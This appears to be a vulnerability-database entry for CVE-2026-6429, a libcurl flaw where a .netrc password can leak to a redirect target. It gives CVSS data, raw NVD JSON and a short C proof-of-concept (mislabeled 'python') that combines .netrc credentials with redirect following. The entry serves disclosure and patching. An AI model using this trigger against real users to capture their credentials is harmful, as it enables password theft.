Security Vulnerability Report
中文
CVE-2026-6429 CVSS 5.3 MEDIUM

CVE-2026-6429

Published: 2026-05-13 13:01:57
Last Modified: 2026-05-14 14:18:02
Source: 2499f714-1537-4658-8207-48ae4bb9eae9

Description

When asked to both use a `.netrc` file for credentials and to follow HTTP redirects, libcurl could leak the password used for the first host to the followed-to host under certain circumstances.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:* - VULNERABLE
libcurl (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl = curl_easy_init(); if(curl) { // Target URL that redirects to an attacker-controlled server curl_easy_setopt(curl, CURLOPT_URL, "http://trusted.example.com/login"); // Enable loading credentials from .netrc file curl_easy_setopt(curl, CURLOPT_NETRC, CURL_NETRC_REQUIRED); // Specify path to .netrc if needed, otherwise default is used // curl_easy_setopt(curl, CURLOPT_NETRC_FILE, "/path/to/.netrc"); // Enable following HTTP redirects (3xx codes) curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); // Perform the request // In a vulnerable version, the password for 'trusted.example.com' // found in .netrc might be sent to the redirect target. CURLcode res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6429", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-05-13T13:01:56.930", "lastModified": "2026-05-14T14:18:02.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When asked to both use a `.netrc` file for credentials and to follow HTTP\nredirects, libcurl could leak the password used for the first host to the\nfollowed-to host under certain circumstances."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.14.0", "versionEndExcluding": "8.20.0", "matchCriteriaId": "92C0C270-A4E4-4DF0-96F1-833497B9CBDF"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2026-6429.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://curl.se/docs/CVE-2026-6429.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Product"]}, {"url": "https://hackerone.com/reports/3677759", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}